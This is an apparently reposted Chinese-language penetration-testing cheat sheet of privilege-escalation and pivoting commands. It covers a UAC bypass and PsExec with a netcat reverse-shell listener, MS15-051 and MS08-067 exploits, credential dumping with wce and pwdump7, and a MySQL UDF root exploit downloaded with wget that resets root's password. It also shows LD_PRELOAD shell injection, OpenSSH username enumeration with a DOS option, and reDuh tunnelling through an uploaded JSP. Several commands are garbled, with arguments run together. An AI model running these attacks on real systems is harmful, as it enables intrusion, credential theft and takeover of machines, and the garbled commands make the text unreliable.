# 以系統許可權使用 Akagi64 運行 danger.exe Akagi64.exe 1 C:\Users\User\Desktop\danger.exe

# 在 Kali 上創建監聽

nc -lvp 4444

# 下一步就會反彈給我們一個提過權的 shell# 以系統許可權使用 PsExec 運行 danger.exe

psexec.exe –i –d –accepteula –s danger.exe

以普通用戶身份在 Win7 上反彈具有系統許可權的 Shell

https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051

https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html

https://www.exploit-db.com/exploits/37049/

# 查找目標機器是否安裝了補丁,輸入如下命令

wmic qfe get

wmic qfe | find "3057191"

# 上傳編譯后的利用程序並運行它

https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe

# 默認情況下其會以系統許可權執行 cmd.exe,但我們需要改變源代碼以運行我們上傳的 danger.exe# https://github.com/hfiref0x/CVE-2015-1701 下載它並定位到 "main.c"

# 使用 wce.exe 獲取已登錄用戶的明文賬號密碼

http://www.ampliasecurity.com/research/windows-credentials-editor/

wce -w

# 使用 pwdump7 獲取其他用戶的密碼哈希值

http://www.heise.de/download/pwdump.html

# we can try online hash cracking tools such crackstation.net

MS08-067 – 不使用 Metasploit

$ nmap -v -p 139,445--script=smb-check-vulns --script-args=unsafe=1192.168.31.205

$ searchsploit ms08-067

$ python /usr/share/exploitdb/platforms/windows/remote/7132.py192.168.31.2051

通過 MySQL Root 賬戶實現提權

# Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)

$ wget 0xdeadbeef.info/exploits/raptor_udf2.c

$ gcc -g -c raptor_udf2.c

$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

mysql -u root -p

mysql>use mysql;

mysql> create table foo(line blob);

mysql> insert into foo values(load_file('/home/user/raptor_udf2.so'));

mysql>select*from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

mysql> create function do_system returns integer soname 'raptor_udf2.so';

mysql>select*from mysql.func;

mysql>select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');

user:~$ su -Password:

user:~# whoami

root

root:~# id

uid=0(root) gid=0(root) groups=0(root)

使用 LD_PRELOAD 注入程序

$ wget https://github.com/jivoi/pentest/ldpreload_shell.c

$ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so

$ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft

針對 OpenSSH 用戶進行枚舉時序攻擊

註:枚舉時序攻擊(「Enumeration Timing Attack」)屬於側通道攻擊/旁路攻擊(Side Channel Attack),側通道攻擊是指利用通道外的信息,比如加解密的速度/加解密時晶元引腳的電壓/密文傳輸的流量和途徑等進行攻擊的方式,一個詞形容就是「旁敲側擊」。–參考自 shotgun 在知乎上的解釋。

osueta 是一個用於對 OpenSSH 進行時序攻擊的 python2 腳本,其可以利用時序攻擊枚舉 OpenSSH 用戶名,並在一定條件下可以對 OpenSSH 伺服器進行 DOS 攻擊。

# https://github.com/c0r3dump3d/osueta

$ ./osueta.py -H 192.168.1.6-p 22-U root -d 30-v yes

$ ./osueta.py -H 192.168.10.22-p 22-d 15-v yes –dos no-L userfile.txt

使用 ReDuh 構造合法的 HTTP 請求以建立 TCP 通道

註: ReDuh 是一個通過 HTTP 協議建立隧道傳輸各種其他數據的工具。其可以把內網伺服器的埠通過 http/https 隧道轉發到本機,形成一個連通迴路。用於目標伺服器在內網或做了埠策略的情況下連接目標伺服器內部開放埠。

對了親~ReDuh-Gui 號稱埠轉發神器哦。

# https://github.com/sensepost/reDuh

# 步驟 1# 上傳 reDuh.jsp 目標伺服器

$ http://192.168.10.50/uploads/reDuh.jsp

# 步驟 2# 在本機運行 reDuhClient

$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp

# 步驟 3# 使用 nc 連接管理埠

$ nc -nvv 127.0.0.11010

# 步驟 4# 使用隧道轉發本地埠到遠程目標埠[createTunnel]7777:172.16.0.4:3389

# 步驟 5# 使用 RDP 連接遠程

$ /usr/bin/rdesktop -g 1024x768-P -z -x l -k en-us -r sound:off localhost:7777

Advertisements

你可能會喜歡